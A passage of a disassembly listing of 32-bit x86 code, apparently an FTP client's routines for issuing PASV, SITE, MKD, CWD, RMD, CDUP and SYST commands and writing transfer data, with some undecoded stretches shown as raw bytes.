loc_42E7BE:				; CODE XREF: sub_42E5B0+7Fj
					; sub_42E5B0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 4
off_42E7CC	dd offset loc_42E648	; DATA XREF: sub_42E5B0+91r
		dd offset loc_42E663	; jump table for switch	statement
		dd offset loc_42E67D
		dd offset loc_42E697
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E870	proc near		; CODE XREF: sub_42E5B0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42EB94
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42E8D2
		cmp	eax, 2
		jz	short loc_42E8D2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E8D2:				; CODE XREF: sub_42E870+3Aj
					; sub_42E870+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42E904
		cmp	eax, 49h
		jz	short loc_42E904
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42E904:				; CODE XREF: sub_42E870+6Cj
					; sub_42E870+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42E9E9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42EB94
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42EB94
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 4684D75h, 90004474h, 808419E8h, 4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473F468h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 0D54DE856h, 8B90777Fh,	8C483F0h, 2275F53Bh, 4473EC68h
		dd 8268E800h, 83907780h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
		dd 75144689h, 73EC682Ch, 27E80044h, 90778082h, 5704C483h
		dd 9627E8h, 0E8905600h,	777FD63Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h
		dd 8304C483h, 565044C6h, 818C03E8h, 0C4839077h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 82E890h, 108B777Fh, 0AC685752h, 90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0B9h, 0CEh
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447670
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B0
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
